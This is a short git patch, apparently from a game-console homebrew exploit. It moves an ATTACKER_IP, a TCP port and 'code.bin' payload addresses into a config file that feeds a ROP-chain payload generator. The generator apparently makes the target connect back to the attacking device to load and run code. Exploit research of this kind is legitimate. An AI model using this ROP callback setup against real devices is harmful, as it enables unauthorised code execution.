From 13c7fe0ebfc93838e6b6ce8a4fe92afea161f2a0 Mon Sep 17 00:00:00 2001 From: Maschell Date: Fri, 6 Mar 2020 20:03:26 +0100 Subject: [PATCH] Use a config.py --- homebrew/config.py | 6 ++++++ homebrew/generate_payload.py | 3 ++- 2 files changed, 8 insertions(+), 1 deletion(-) create mode 100644 homebrew/config.py diff --git a/homebrew/config.py b/homebrew/config.py new file mode 100644 index 0000000..de73a4f --- /dev/null +++ b/homebrew/config.py @@ -0,0 +1,6 @@ +ATTACKER_IP = [192, 168, 178, 161] # IP of the device which runs the python scripts +TCP_SERVER_PORT = 12345 # A free usable port on the attacking device + +CODE_BIN_PATH = 'code.bin' # Path to the code.bin payload that will be executed +CODE_BIN_TARGET_ADDR = 0x011DE200 # Address where the payload should be copied to +CODE_BIN_ENTRYPOINT = CODE_BIN_TARGET_ADDR # Absolute address of the entrypoint of the copied payload diff --git a/homebrew/generate_payload.py b/homebrew/generate_payload.py index f93285d..6b3d78d 100644 --- a/homebrew/generate_payload.py +++ b/homebrew/generate_payload.py @@ -1,7 +1,8 @@ from tcp_ropchain import * +from config import * import struct -rop_chain = tcp_thread_ropchain(0x4D070000 + 0x14, [192,168,178,89], 12345) +rop_chain = tcp_thread_ropchain(0x4D070000 + 0x14, ATTACKER_IP, TCP_SERVER_PORT) with open('payload.s', 'w') as f: for val in rop_chain: